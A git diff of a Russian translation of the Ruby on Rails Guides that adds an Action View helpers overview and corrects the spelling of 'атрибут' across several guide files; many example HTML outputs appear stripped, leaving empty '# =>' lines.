+``` + +#### hidden_field_tag + +Создает скрытое поле input, используемое для передачи данных, которые могли бы быть потеряны из-за особенностей HTTP, или данные, которые должны быть скрыт от пользователя. + +```ruby +hidden_field_tag 'token', 'VUBJKB23UIVI1UU1VOBVI@' +# => +``` + +#### image_submit_tag + +Отображает изображение, при нажатии на котором будет отправлена форма. + +```ruby +image_submit_tag("login.png") +# => +``` + +#### label_tag + +Создает тег label. + +```ruby +label_tag 'name' +# => +``` + +#### password_field_tag + +Создает поле для ввода пароля, поле маскированного текста, которое спрячет то, что вводит пользователями символами маски. + +```ruby +password_field_tag 'pass' +# => +``` + +#### radio_button_tag + +Создает радио-кнопку; используйте группу радио-кнопок с одинаковым именем, чтобы разрешить пользователям выбирать из группы опций. + +```ruby +radio_button_tag 'gender', 'male' +# => +``` + +#### select_tag + +Создает выпадающее поле выбора. + +```ruby +select_tag "people", "" +# => +``` + +#### submit_tag + +Создает кнопку подтверждения с текстом-надписью. + +```ruby +submit_tag "Publish this article" +# => +``` + +#### text_area_tag + +Создает поле ввода текста; используйте textarea для длинного ввода текста, такого как статьи или описания. + +```ruby +text_area_tag 'article' +# => +``` + +#### text_field_tag + +Создает обычное поле ввода текста; используйте их для ввода небольших кусочков текста, таких как имя пользователя или поисковый запрос. + +```ruby +text_field_tag 'name' +# => +``` + +#### email_field_tag + +Создает стандартное поле ввода с типом email. + +```ruby +email_field_tag 'email' +# => +``` + +#### url_field_tag + +Создает стандартное поле ввода с типом url. + +```ruby +url_field_tag 'url' +# => +``` + +#### date_field_tag + +Создает стандартное поле ввода с типом date. + +```ruby +date_field_tag "dob" +# => +``` + +### JavaScriptHelper + +Представляет функционал для работы с JavaScript в ваших вьюхах. + +#### button_to_function + +Возвращает кнопку, вызывающую функцию JavaScript с помощью обработки onclick. Примеры: + +```ruby +button_to_function "Greeting", "alert('Hello world!')" +button_to_function "Delete", "if (confirm('Really?')) do_delete()" +button_to_function "Details" do |page| + page[:details].visual_effect :toggle_slide +end +``` + +#### define_javascript_functions + +Включает JavaScript библиотеки Action Pack внутри тега `script`. + +#### escape_javascript + +Экранирует переводы строк и одиночные и двойные кавычки во фрагментах JavaScript. + +#### javascript_tag + +Возвращает тег JavaScript, оборачиващий предоставленный код. + +```ruby +javascript_tag "alert('All is good')" +``` + +```html + +``` + +#### link_to_function + +Возвращает ссылку, вызывающую функцию JavaScript с помощью обработки onclick и возвращающую false после окончания. + +```ruby +link_to_function "Greeting", "alert('Hello world!')" +# => Greeting +``` + +### NumberHelper + +Представляет методы для конвертации чисел в форматированные строки. Методы предоставлены для телефонных номеров, валют. процентов, позиционных систем исчисления и размеров файла. + +#### number_to_currency + +Форматирует число в строку с валютой (например, $13.65). + +```ruby +number_to_currency(1234567890.50) # => $1,234,567,890.50 +``` + +#### number_to_human_size + +Форматирует размер в байтах в более понимаемое представление; полезно для показа размеров файла пользователям. + +```ruby +number_to_human_size(1234) # => 1.2 KB +number_to_human_size(1234567) # => 1.2 MB +``` + +#### number_to_percentage + +Форматирует число в строку с процентом. + +```ruby +number_to_percentage(100, precision: 0) # => 100% +``` + +#### number_to_phone + +Форматирует число в телефонный номер США. + +```ruby +number_to_phone(1235551234) # => 123-555-1234 +``` + +#### number_with_delimiter + +Группирует тысячи в числе с помощью разделителя. + +```ruby +number_with_delimiter(12345678) # => 12,345,678 +``` + +#### number_with_precision + +Форматирует число с помощью определенного уровня точности, по умолчанию 3. + +```ruby +number_with_precision(111.2345) # => 111.235 +number_with_precision(111.2345, 2) # => 111.23 +``` + +### SanitizeHelper + +Модуль SanitizeHelper представляет набор методов для очистки текста от нежелательных элементов HTML. + +#### sanitize + +Хелпер sanitize экранирует все теги HTML и удалит все атрибуты, которые не разрешены явно. + +```ruby +sanitize @article.body +``` + +Если переданы опции или :attributes, или :tags, разрешены только упомянутые теги и атрибуты, и ничего более. + +```ruby +sanitize @article.body, tags: %w(table tr td), attributes: %w(id class style) +``` + +Чтобы изменить значения по умолчанию для повторного использования, например, добавить теги таблиц к значениям по умолчанию: + +```ruby +class Application < Rails::Application + config.action_view.sanitized_allowed_tags = 'table', 'tr', 'td' +end +``` + +#### sanitize_css(style) + +Экранирует блок кода CSS. + +#### strip_links(html) + +Обрезает все теги ссылок в тексте, оставляя только текст ссылки. + +```ruby +strip_links("Ruby on Rails") +# => Ruby on Rails +``` + +```ruby +strip_links("emails to me@email.com.") +# => emails to me@email.com. +``` + +```ruby +strip_links('Blog: Visit.') +# => Blog: Visit. +``` + +#### strip_tags(html) + +Обрезает все теги HTML из html, включая комментарии. Он использует html-scanner tokenizer, поэтому сопособность парсинга ограничена этим html-scanner. + +```ruby +strip_tags("Strip these tags!") +# => Strip these tags! +``` + +```ruby +strip_tags("Bold no more! See more") +# => Bold no more! See more +``` + +NB: Результат все еще может содержать неэкранированные символы '<', '>', '&' и путать браузеры. + +### CsrfHelper + +Возвращает метатеги "csrf-param" и "csrf-token" с, соответственно, именами параметра и токена против межсайтовой подделки запросов. + +```html +<%= csrf_meta_tags %> +``` + +NOTE: Обычные формы создают скрытые поля, поэтому они не используют эти теги. Подробнее в [Руководстве Rails по безопасности](/ruby-on-rails-security-guide#cross-site-request-forgery-csrf). + +Локализованные вьюхи +-------------------- + +В Action View есть возможность рендерить различные шаблоны в зависимости от текущей локали. + +Например, у вас есть `ArticlesController` с экшном show. По умолчанию вызов этого экшна отрендерит `app/views/articles/show.html.erb`. Но если вы установите `I18n.locale = :de`, то вместо него будет отрендерен `app/views/articles/show.de.html.erb`. Если локализованный шаблон отсутствует, будет использована недекорированная версия. Это означает, что не нужно предоставлять локализованные вьюхи для всех случаев, но они будут предпочтены и использованы, если будут доступны. + +Ту же технику можно использовать для локализации страниц ошибок в директории public. Наприм, установка `I18n.locale = :de` и создание `public/500.de.html` и `public/404.de.html` позволит иметь локализованные страницы ошибок. + +Так как Rails не ограничивает символы, используемые для установления I18n.locale, эту систему можно использовать для отображения различного содержимого, зависящего от чего-либоо иного. Нарпример, предположим у вас есть пользователи "expert", которые должны видеть страницы иные, чем пользователи "normal". Можно добавить следующее в `app/controllers/application.rb`: + +```ruby +before_action :set_expert_locale + +def set_expert_locale + I18n.locale = :expert if current_user.expert? +end +``` + +Затем можно добавить специальные вьюхи, такие как `app/views/articles/show.expert.html.erb` которые будут отображены только экспертам. + +Подробнее об API интернационализации Rails (I18n) можно прочитать [тут](/rails-internationalization-i18n-api). diff --git a/source/active_record_validations.md b/source/active_record_validations.md index 42352410..7f784695 100644 --- a/source/active_record_validations.md +++ b/source/active_record_validations.md @@ -168,13 +168,13 @@ end Active Record предлагает множество предопределенных валидационных хелперов, которые Вы можете использовать прямо внутри Ваших определений класса. Эти хелперы предоставляют общие правила валидации. Каждый раз, когда валидация проваливается, сообщение об ошибке добавляется в коллекцию `errors` объекта, и это сообщение связывается с атрибутом, который подлежал валидации. -Каждый хелпер принимает произвольное количество имен атрибутов, поэтому в одной строке кода можно добавить валидации одинакового вида для нескольких аттрибутов. +Каждый хелпер принимает произвольное количество имен атрибутов, поэтому в одной строке кода можно добавить валидации одинакового вида для нескольких атрибутов. Они все принимают опции `:on` и `:message`, которые определяют, когда валидация должна быть запущена, и какое сообщение должно быть добавлено в коллекцию `errors`, если она провалится. Опция `:on` принимает одно из значений `:create` или `:update`. Для каждого валидационного хелпера есть свое сообщение об ошибке по умолчанию. Эти сообщения используются, если не определена опция `:message`. Давайте рассмотрим каждый из доступных хелперов. ### `acceptance` -Этот метод проверяет, что чекбокс в пользовательском интерфейсе был нажат, когда форма была подтверждена. Обычно используется, когда пользователю нужно согласиться с условиями использования Вашего приложения, подтвердить прочтение некоторого текста или выполнить любое подобное действие. Валидация очень специфична для веб приложений, и ее принятие не нужно записывать куда-либо в базу данных (если у вас нет поля для него, хелпер всего лишь создаст виртуальный аттрибут). +Этот метод проверяет, что чекбокс в пользовательском интерфейсе был нажат, когда форма была подтверждена. Обычно используется, когда пользователю нужно согласиться с условиями использования Вашего приложения, подтвердить прочтение некоторого текста или выполнить любое подобное действие. Валидация очень специфична для веб приложений, и ее принятие не нужно записывать куда-либо в базу данных (если у вас нет поля для него, хелпер всего лишь создаст виртуальный атрибут). ```ruby class Person < ActiveRecord::Base @@ -228,7 +228,7 @@ end <%= text_field :person, :email_confirmation %> ``` -Эта проверка выполняется, только если `email_confirmation` не равно `nil`. Чтобы требовать подтверждение, нужно добавить еще проверку на существование проверяемого аттрибута (мы рассмотрим `presence` чуть позже): +Эта проверка выполняется, только если `email_confirmation` не равно `nil`. Чтобы требовать подтверждение, нужно добавить еще проверку на существование проверяемого атрибута (мы рассмотрим `presence` чуть позже): ```ruby class Person < ActiveRecord::Base @@ -241,7 +241,7 @@ end ### `exclusion` -Этот хелпер проводит валидацию того, что значения аттрибутов не включены в указанный набор. Фактически, этот набор может быть любым перечисляемым объектом. +Этот хелпер проводит валидацию того, что значения атрибутов не включены в указанный набор. Фактически, этот набор может быть любым перечисляемым объектом. ```ruby class Account < ActiveRecord::Base @@ -250,13 +250,13 @@ class Account < ActiveRecord::Base end ``` -Хелпер `exclusion` имеет опцию `:in`, которая получает набор значений, которые не должны приниматься проверяемыми аттрибутами. Опция `:in` имеет псевдоним `:within`, который используется для тех же целей. Этот пример использует опцию `:message`, чтобы показать вам, как можно включать значение аттрибута. +Хелпер `exclusion` имеет опцию `:in`, которая получает набор значений, которые не должны приниматься проверяемыми атрибутами. Опция `:in` имеет псевдоним `:within`, который используется для тех же целей. Этот пример использует опцию `:message`, чтобы показать вам, как можно включать значение атрибута. Значение сообщения об ошибке по умолчанию "_is reserved_". ### `format` -Этот хелпер проводит валидацию значений аттрибутов, тестируя их на соответствие указанному регулярному выражению, которое определяется с помощью опции `:with`. +Этот хелпер проводит валидацию значений атрибутов, тестируя их на соответствие указанному регулярному выражению, которое определяется с помощью опции `:with`. ```ruby class Product < ActiveRecord::Base @@ -269,7 +269,7 @@ end ### `inclusion` -Этот хелпер проводит валидацию значений аттрибутов на включение в указанный набор. Фактически этот набор может быть любым перечисляемым объектом. +Этот хелпер проводит валидацию значений атрибутов на включение в указанный набор. Фактически этот набор может быть любым перечисляемым объектом. ```ruby class Coffee < ActiveRecord::Base @@ -278,13 +278,13 @@ class Coffee < ActiveRecord::Base end ``` -Хелпер `inclusion` имеет опцию `:in`, которая получает набор значений, которые должны быть приняты. Опция `:in` имеет псевдоним `:within`, который используется для тех же целей. Предыдущий пример использует опцию `:message`, чтобы показать вам, как можно включать значение аттрибута. +Хелпер `inclusion` имеет опцию `:in`, которая получает набор значений, которые должны быть приняты. Опция `:in` имеет псевдоним `:within`, который используется для тех же целей. Предыдущий пример использует опцию `:message`, чтобы показать вам, как можно включать значение атрибута. Значение сообщения об ошибке по умолчанию для этого хелпера такое "_is not included in the list_". ### `length` -Этот хелпер проводит валидацию длины значений аттрибутов. Он предлагает ряд опций, с помощью которых вы можете определить ограничения по длине разными способами: +Этот хелпер проводит валидацию длины значений атрибутов. Он предлагает ряд опций, с помощью которых вы можете определить ограничения по длине разными способами: ```ruby class Person < ActiveRecord::Base @@ -297,10 +297,10 @@ end Возможные опции ограничения длины такие: -* `:minimum` - аттрибут не может быть меньше определенной длины. -* `:maximum` - аттрибут не может быть больше определенной длины. -* `:in` (или `:within`) - длина аттрибута должна находиться в указанном интервале. Значение этой опции должно быть интервалом. -* `:is` - длина аттрибута должна быть равной указанному значению. +* `:minimum` - атрибут не может быть меньше определенной длины. +* `:maximum` - атрибут не может быть больше определенной длины. +* `:in` (или `:within`) - длина атрибута должна находиться в указанном интервале. Значение этой опции должно быть интервалом. +* `:is` - длина атрибута должна быть равной указанному значению. Значение сообщения об ошибке по умолчанию зависит от типа выполняемой валидации длины. Можно переопределить эти сообщения, используя опции `:wrong_length`, `:too_long` и `:too_short`, и `%{count}` как место для вставки числа, соответствующего длине используемого ограничения. Можете использовать опцию `:message` для определения сообщения об ошибке. @@ -329,7 +329,7 @@ end ### `numericality` -Этот хелпер проводит валидацию того, что ваши аттрибуты имеют только числовые значения. По умолчанию, этому будет соответствовать возможный знак первым символом, и следующее за ним целочисленное или с плавающей запятой число. Чтобы определить, что допустимы только целочисленные значения, установите `:only_integer` в true. +Этот хелпер проводит валидацию того, что ваши атрибуты имеют только числовые значения. По умолчанию, этому будет соответствовать возможный знак первым символом, и следующее за ним целочисленное или с плавающей запятой число. Чтобы определить, что допустимы только целочисленные значения, установите `:only_integer` в true. Если установить `:only_integer` в `true`, тогда будет использоваться регулярное выражение @@ -362,7 +362,7 @@ end ### `presence` -Этот хелпер проводит валидацию того, что определенные аттрибуты не пустые. Он использует метод `blank?` для проверки того, является ли значение или `nil`, или пустой строкой (это строка, которая или пуста, или содержит пробелы). +Этот хелпер проводит валидацию того, что определенные атрибуты не пустые. Он использует метод `blank?` для проверки того, является ли значение или `nil`, или пустой строкой (это строка, которая или пуста, или содержит пробелы). ```ruby class Person < ActiveRecord::Base @@ -442,9 +442,9 @@ class Account < ActiveRecord::Base end ``` -Валидация производится путем SQL запроса в таблицу модели, поиска существующей записи с тем же значением аттрибута. +Валидация производится путем SQL запроса в таблицу модели, поиска существующей записи с тем же значением атрибута. -Имеется опция `:scope`, которую можно использовать для определения других аттрибутов, используемых для ограничения проверки уникальности: +Имеется опция `:scope`, которую можно использовать для определения других атрибутов, используемых для ограничения проверки уникальности: ```ruby class Holiday < ActiveRecord::Base @@ -483,7 +483,7 @@ class Person < ActiveRecord::Base end ``` -NOTE: Ошибки, добавляемые в `record.errors[:base]` относятся к состоянию записи в целом, а не к определенному аттрибуту. +NOTE: Ошибки, добавляемые в `record.errors[:base]` относятся к состоянию записи в целом, а не к определенному атрибуту. Хелпер `validates_with` принимает класс или список классов для использования в валидации. Для `validates_with` нет сообщения об ошибке по умолчанию. Следует вручную добавлять ошибки в коллекцию errors записи в классе валидатора. @@ -563,7 +563,7 @@ end ### `:allow_blank` -Опция `:allow_blank` подобна опции `:allow_nil`. Эта опция пропускает валидацию, если значение аттрибута `blank?`, например `nil` или пустая строка. +Опция `:allow_blank` подобна опции `:allow_nil`. Эта опция пропускает валидацию, если значение атрибута `blank?`, например `nil` или пустая строка. ```ruby class Topic < ActiveRecord::Base @@ -816,7 +816,7 @@ person.errors[:name] ### `errors.add` -Метод `add` позволяет вручную добавлять сообщения, которые относятся к определенным атрибутам. Можно использовать методы `errors.full_messages` или `errors.to_a` для просмотра сообщения в форме, в которой они отображаются пользователю. Эти определенные сообщения получают предшествующим (и с прописной буквы) имя аттрибута. `add` получает имя атрибута, к которому вы хотите добавить сообщение, и само сообщение. +Метод `add` позволяет вручную добавлять сообщения, которые относятся к определенным атрибутам. Можно использовать методы `errors.full_messages` или `errors.to_a` для просмотра сообщения в форме, в которой они отображаются пользователю. Эти определенные сообщения получают предшествующим (и с прописной буквы) имя атрибута. `add` получает имя атрибута, к которому вы хотите добавить сообщение, и само сообщение. ```ruby class Person < ActiveRecord::Base @@ -854,7 +854,7 @@ person.errors.full_messages ### `errors[:base]` -Можете добавлять сообщения об ошибках, которые относятся к состоянию объекта в целом, а не к отдельному аттрибуту. Этот метод можно использовать, если вы хотите сказать, что объект невалиден, независимо от значений его атрибутов. Поскольку `errors[:base]` массив, можете просто добавить строку к нему, и она будет использована как сообщение об ошибке. +Можете добавлять сообщения об ошибках, которые относятся к состоянию объекта в целом, а не к отдельному атрибуту. Этот метод можно использовать, если вы хотите сказать, что объект невалиден, независимо от значений его атрибутов. Поскольку `errors[:base]` массив, можете просто добавить строку к нему, и она будет использована как сообщение об ошибке. ```ruby class Person < ActiveRecord::Base diff --git a/source/form_helpers.md b/source/form_helpers.md index e2d16482..213a3151 100644 --- a/source/form_helpers.md +++ b/source/form_helpers.md @@ -244,7 +244,7 @@ end Следует отметить несколько вещей: * `@article` - это фактический объект, который редактируется. -* Здесь есть одиночный хэш опций. Опции маршрутизации передаются в хэше `:url`, опции HTML передаются в хэше `:html`. Также для формы можно предоставить опцию `:namespace`, чтобы быть уверенным в уникальности аттрибутов id элементов формы. Аттрибут namespace будет префиксом с подчеркиванием в генерируемых для HTML id. +* Здесь есть одиночный хэш опций. Опции маршрутизации передаются в хэше `:url`, опции HTML передаются в хэше `:html`. Также для формы можно предоставить опцию `:namespace`, чтобы быть уверенным в уникальности атрибутов id элементов формы. Аттрибут namespace будет префиксом с подчеркиванием в генерируемых для HTML id. * Метод `form_for` предоставляет объект **form builder** (переменная `f`). * Методы создания элементов управления формой вызываются *для* объекта form builder `f`. diff --git a/source/i18n.md b/source/i18n.md index 89b62db5..59fbad54 100644 --- a/source/i18n.md +++ b/source/i18n.md @@ -723,7 +723,7 @@ en: #### Пространства имен сообщений об ошибке -Сообщение об ошибке валидации Active Record также может быть легко переведено. Active Record предоставляет ряд пространств имен, куда можно поместить ваши переводы для передачи различных сообщений и переводы для определенных моделей, аттрибутов и/или валидаций. Также учитывается одиночное наследование таблицы (single table inheritance). +Сообщение об ошибке валидации Active Record также может быть легко переведено. Active Record предоставляет ряд пространств имен, куда можно поместить ваши переводы для передачи различных сообщений и переводы для определенных моделей, атрибутов и/или валидаций. Также учитывается одиночное наследование таблицы (single table inheritance). Это дает довольно мощное средство для гибкой настройки ваших сообщений в соответствии с потребностями приложения. @@ -882,7 +882,7 @@ Rails использует фиксированные строки и други #### Методы Active Model -* `human_name` и `human_attribute_name` используют переводы для имен модели и имен аттрибутов, если они доступны в пространстве имен [activerecord.models](http://github.com/rails/rails/blob/master/activerecord/lib/active_record/locale/en.yml#L36). Они также предоставляют переводы для имен унаследованного класса (т.е. для использования вместе с STI), как уже объяснялось выше в "Области сообщения об ошибке". +* `human_name` и `human_attribute_name` используют переводы для имен модели и имен атрибутов, если они доступны в пространстве имен [activerecord.models](http://github.com/rails/rails/blob/master/activerecord/lib/active_record/locale/en.yml#L36). Они также предоставляют переводы для имен унаследованного класса (т.е. для использования вместе с STI), как уже объяснялось выше в "Области сообщения об ошибке". * `ActiveModel::Errors#generate_message` (который используется валидациями Active Model, но также может быть использован вручную) использует `human_name` и `human_attribute_name` (смотрите выше). Он также переводит сообщение об ошибке и поддерживает переводы для имен унаследованного класса, как уже объяснялось выше в "Пространства имен сообщений об ошибке". * `ActiveModel::Errors#full_messages` добавляет имя атрибута к сообщению об ошибке, используя разделитель, который берется из [errors.format](https://github.com/rails/rails/blob/master/activemodel/lib/active_model/locale/en.yml#L4) (и по умолчанию равен `"%{attribute} %{message}"`). diff --git a/source/index.md b/source/index.md index 993572ad..3720f8b1 100644 --- a/source/index.md +++ b/source/index.md @@ -32,6 +32,7 @@ Ruby on Rails — это веб-фреймворк с открытым кодо ## Вьюхи +- [Обзор Action View](/action-view-overview) := Это руководство представляет введение в Action View и ознакамливает с некоторыми из многих хелперов вьюх. - [Макеты и рендеринг в Rails](/layouts-and-rendering-in-rails) := Это руководство раскрывает основы возможностей макетов Action Controller и Action View, включая рендеринг и перенаправление, использование содержимого для блоков и работу с частичными шаблонами. - [Хелперы форм Action View](/rails-form-helpers) := Руководство по использованию встроенных хелперов форм. diff --git a/source/index.yml b/source/index.yml index 33043074..c1eae4c1 100644 --- a/source/index.yml +++ b/source/index.yml @@ -56,6 +56,12 @@ pages: revision: 9aa1a3d85327fa0a3055b5b757a0be092ce582f7 date: 23/09/2013 + - title: Обзор Action View + path: action-view-overview + file: action_view_overview.md + revision: 4ffe46f5fe957cb39eb93fc9120fab2dc951b384 + date: 19/02/2015 + - title: Макеты и рендеринг в Rails path: layouts-and-rendering-in-rails file: layouts_and_rendering.md @@ -241,7 +247,6 @@ images: date: 25/02/2014 plan: - - file: action_view_overview.md - file: active_record_postgresql.md - file: api_documentation_guidelines.md - file: contributing_to_ruby_on_rails.md diff --git a/source/menu.md b/source/menu.md index c7953c9b..7db4b2d9 100644 --- a/source/menu.md +++ b/source/menu.md @@ -14,6 +14,7 @@ * **Вьюхи** + * [Обзор Action View](/action-view-overview) * [Макеты и рендеринг в Rails](/layouts-and-rendering-in-rails) * [Хелперы форм Action View](/rails-form-helpers) diff --git a/source/security.md b/source/security.md index 34937795..568bef1a 100644 --- a/source/security.md +++ b/source/security.md @@ -231,7 +231,7 @@ _Запросы POST также могут быть посланы автома ``` -Имеется множество других возможностей, наподобие использования тэга ` - - -``` +### AssetTagHelper -#### register_stylesheet_expansion +Этот модуль предоставляет методы для генерации HTML, связывающего вьюхи с ресурсами, такими как картинки, файлы JavaScript, таблицы стилей и новостные ленты. -Регистрирует один или более файлов таблицы стилей, чтобы их можно было подключить с помощью символа при передаче в `stylesheet_link_tag`. Этот метод обычно предназначен для вызова из инициализации плагинов для регистрации файлов таблицы стилей, которые плагин устанавливает в `vendor/assets/stylesheets`. +По умолчанию Rails связывает с ресурсами на текущем хосте в папке public, но можно направить Rails связывать с ресурсами на выделенном сервере ресурсов, установив `config.action_controller.asset_host` в конфигурации приложения, обычно в `config/environments/production.rb`. Например, допустим хост ваших ресурсов `assets.example.com`: ```ruby -ActionView::Helpers::AssetTagHelper.register_stylesheet_expansion monkey: ["head", "body", "tail"] - -stylesheet_link_tag :monkey # => - - - +config.action_controller.asset_host = "assets.example.com" +image_tag("rails.png") # => Rails ``` #### auto_discovery_link_tag -Возвращает тег ссылки, которую могут использовать браузеры и агрегаторы новостей для автоматического определения RSS или ленту Atom. +Возвращает тег ссылки, которую могут использовать браузеры и агрегаторы новостей для автоматического определения RSS или ленты Atom. ```ruby -auto_discovery_link_tag(:rss, "http://www.example.com/feed.rss", {title: "RSS Feed"}) # => +auto_discovery_link_tag(:rss, "http://www.example.com/feed.rss", { title: "RSS Feed" }) # => ``` @@ -478,13 +476,13 @@ javascript_url "common" # => http://www.example.com/assets/common.js #### stylesheet_link_tag -Возвращает тег ссылки та таблицу стилей для каждого представленного источника. Если не указать расширение, автоматически будет добавлено `.css`. +Возвращает тег ссылки на таблицу стилей для каждого представленного источника. Если не указать расширение, автоматически будет добавлено `.css`. ```ruby stylesheet_link_tag "application" # => ``` -Также можно включить все стили из директории стилей, используя :all в качестве источника: +Также можно включить все стили из директории стилей, используя `:all` в качестве источника: ```ruby stylesheet_link_tag :all @@ -499,7 +497,7 @@ stylesheet_link_tag :all, cache: true #### stylesheet_path -Вычисляет путь до ресурса таблицы стилей в директории `app/assets/stylesheets`. Если у имени файла источника нет расширения, будет добавлено `.css`. Будут переданы полные пути от корня документа. Используется внутренне `stylesheet_link_tag` для создания пути к ьаблице стилей. +Вычисляет путь до ресурса таблицы стилей в директории `app/assets/stylesheets`. Если у имени файла источника нет расширения, будет добавлено `.css`. Будут переданы полные пути от корня документа. Используется внутренне `stylesheet_link_tag` для создания пути к таблице стилей. ```ruby stylesheet_path "application" # => /assets/application.css @@ -596,7 +594,7 @@ end <% end %> ``` -Захваченная переменная может быть где-то использована. +Захваченная переменная может быть потом где-то использована. ```html+erb @@ -611,9 +609,9 @@ end #### content_for -Вызов `content_for` сохраняет блок разметки как идентификатор для дальнейшего использования. Можно сделать позледующие вызовы сохраненного содержимого в других шаблонах или макете, передав идентификатор в качестве аргумента в `yield`. +Вызов `content_for` сохраняет блок разметки как идентификатор для дальнейшего использования. Можно сделать последующие вызовы сохраненного содержимого в других шаблонах или макете, передав идентификатор в качестве аргумента в `yield`. -Например, скажем у нас есть стандартный макет приложения, но также есть специальная страница, требующая определенный JavaScript, который не требуется на остальном сайте. Можно использовать `content_for`, чтобы включить этот JavaScript на нашу специальную страницу без влияния на оставшуюся часть сайта. +Например, допустим у нас есть стандартный макет приложения, но также есть специальная страница, требующая определенный JavaScript, который не требуется на остальном сайте. Можно использовать `content_for`, чтобы включить этот JavaScript на нашу специальную страницу без влияния на оставшуюся часть сайта. **app/views/layouts/application.html.erb** @@ -749,7 +747,7 @@ select_time(Time.now) #### select_year -Возвращает тег select с опциями для каждой пяти лет от и до выбранного текущего. Пятилетний радиус может быть изменен с помощью опциональных ключей `:start_year` и `:end_year`. +Возвращает тег select с опциями для каждого года из пяти от и до выбранного текущего. Пятилетний радиус может быть изменен с помощью опциональных ключей `:start_year` и `:end_year`. ```ruby # Создает поле select для пяти лет в обе стороны от Date.today, являющаяся значением по умолчанию для текущего года @@ -781,7 +779,7 @@ time_select("order", "submitted") Возвращает тег `pre` с объектом, выгруженным в YAML. Это создает удобочитаемый способ просмотра объекта. ```ruby -my_hash = {'first' => 1, 'second' => 'two', 'third' => [1,2,3]} +my_hash = { 'first' => 1, 'second' => 'two', 'third' => [1,2,3] } debug(my_hash) ``` @@ -798,15 +796,15 @@ third: ### FormHelper -Хелперы форм разработаны для более простой работы с моделями, по сравнению со стандартными элементами HTML, представляя набор методов для создания форм на основе ваших моделей. Этот хелпер создает HTML для форм, представляя метод для каждого типа полей (т.е. text, password, select и так далее). Когда форма подтверждается (т.е. когда пользователь нажимает кнопку подтверждения или form.submit вызывается в JavaScript), поля формы будут встроены в объект params и переданы в контроллер. +Хелперы форм разработаны для более простой работы с моделями по сравнению со стандартными элементами HTML, предоставляя набор методов для создания форм на основе ваших моделей. Этот хелпер создает HTML для форм, предоставляя метод для каждого типа полей (например text, password, select и так далее). Когда форма подтверждается (т.е. когда пользователь нажимает кнопку подтверждения или form.submit вызывается в JavaScript), поля формы будут встроены в объект params и переданы в контроллер. -Имеется два типа хелперов форм: те, которые работают с атрибутами модели, и те, которые нет. Этот хелпер имеет дело с теми, которые работают с атрибутами; чтобы посмотреть примеры хелперов форм, которые не работают с атрибутами модели, обратитесь к документации ActionView::Helpers::FormTagHelper. +Имеется два типа хелперов форм: те, которые работают с атрибутами модели, и те, которые нет. Этот хелпер имеет дело с теми, которые работают с атрибутами; чтобы посмотреть примеры хелперов форм, которые не работают с атрибутами модели, обратитесь к документации `ActionView::Helpers::FormTagHelper`. -Основной метод этого хелпера, form_for, дает возможность создавать форму для экземпляра модели; например, допустим, что имеется модель Person, и мы хотим создать ее новый экземпляр: +Основной метод этого хелпера, `form_for`, дает возможность создавать форму для экземпляра модели; например, допустим, что имеется модель Person, и мы хотим создать ее новый экземпляр: ```html+erb # Note: переменная @person была создана в контроллере (т.е. @person = Person.new) -<%= form_for @person, url: {action: "create"} do |f| %> +<%= form_for @person, url: { action: "create" } do |f| %> <%= f.text_field :first_name %> <%= f.text_field :last_name %> <%= submit_tag 'Create' %> @@ -826,7 +824,7 @@ third: Объект params, созданный после отправки этой формы, будет выглядеть так: ```ruby -{"action" => "create", "controller" => "people", "person" => {"first_name" => "William", "last_name" => "Smith"}} +{ "action" => "create", "controller" => "people", "person" => { "first_name" => "William", "last_name" => "Smith" } } ``` В хэше params будет вложенное значение person, к которому можно получить доступ в контроллере с помощью params[:person]. @@ -844,10 +842,10 @@ check_box("article", "validated") #### fields_for -Создает пространство имен вокруг определенного объекта модели наподобие form_for, но не создает сами теги формы. Это делает fields_for подходящим для указания дополнительных объектов модели в той же форме: +Создает пространство имен вокруг определенного объекта модели наподобие `form_for`, но не создает сами теги формы. Это делает `fields_for` подходящим для указания дополнительных объектов модели в той же форме: ```html+erb -<%= form_for @person, url: {action: "update"} do |person_form| %> +<%= form_for @person, url: { action: "update" } do |person_form| %> First name: <%= person_form.text_field :first_name %> Last name : <%= person_form.text_field :last_name %> @@ -890,7 +888,7 @@ hidden_field(:user, :token) #### label -Возвращает тег label с учетом поля воода для определенного атрибута. +Возвращает тег label с учетом поля ввода для определенного атрибута. ```ruby label(:article, :title) @@ -908,7 +906,7 @@ password_field(:login, :pass) #### radio_button -Возвращает тег радио конпки с учетом доступа к определенному атрибуту. +Возвращает тег радио кнопки с учетом доступа к определенному атрибуту. ```ruby # Let's say that @article.category returns "rails": @@ -982,7 +980,7 @@ end Пример использования (выбор связанного Author для экземпляра Article, `@article`): ```ruby -collection_select(:article, :author_id, Author.all, :id, :name_with_initial, {prompt: true}) +collection_select(:article, :author_id, Author.all, :id, :name_with_initial, { prompt: true }) ``` Если `@article.author_id` — 1, это вернет: @@ -1139,7 +1137,7 @@ Note: Возвращаются только теги `option`, вам все е # options_from_collection_for_select(collection, value_method, text_method, selected = nil) ``` -Например, представим цикл, проходящий по каждому человеку в @project.people для создания тега ввода: +Например, представим цикл, проходящий по каждому человеку в `@project.people` для создания тега ввода: ```ruby options_from_collection_for_select(@project.people, "id", "name") @@ -1155,7 +1153,7 @@ Note: Возвращаются только теги `option`, вам все е Пример: ```ruby -select("article", "person_id", Person.all.collect {|p| [ p.name, p.id ] }, {include_blank: true}) +select("article", "person_id", Person.all.collect { |p| [ p.name, p.id ] }, { include_blank: true }) ``` Если `@article.person_id` — 1, это выдаст: @@ -1191,11 +1189,11 @@ date_field("user", "dob") ### FormTagHelper -Представляет ряд методов для создания тегов форм, не полагающихся на объект Active Record, назначенного шаблону, как делает FormHelper. Вместо этого вы предоставляете имена и значения вручную. +Предоставляет ряд методов для создания тегов форм, не полагающихся на объект Active Record, назначенный шаблону, как делает FormHelper. Вместо этого вы предоставляете имена и значения вручную. #### check_box_tag -Создает поле ввода в форму в виде чек-бокса. +Создает поле ввода в виде чек-бокса. ```ruby check_box_tag 'accept' @@ -1218,7 +1216,7 @@ check_box_tag 'accept' Создает поле загрузки файла. ```html+erb -<%= form_tag({action:"post"}, multipart: true) do %> +<%= form_tag({ action:"post" }, multipart: true) do %> <%= file_field_tag "file" %> <%= submit_tag %> <% end %> @@ -1271,7 +1269,7 @@ label_tag 'name' #### password_field_tag -Создает поле для ввода пароля, поле маскированного текста, которое спрячет то, что вводит пользователями символами маски. +Создает поле для ввода пароля, поле маскированного текста, которое спрячет то, что вводит пользователь символами маски. ```ruby password_field_tag 'pass' @@ -1352,23 +1350,7 @@ date_field_tag "dob" ### JavaScriptHelper -Представляет функционал для работы с JavaScript в ваших вьюхах. - -#### button_to_function - -Возвращает кнопку, вызывающую функцию JavaScript с помощью обработки onclick. Примеры: - 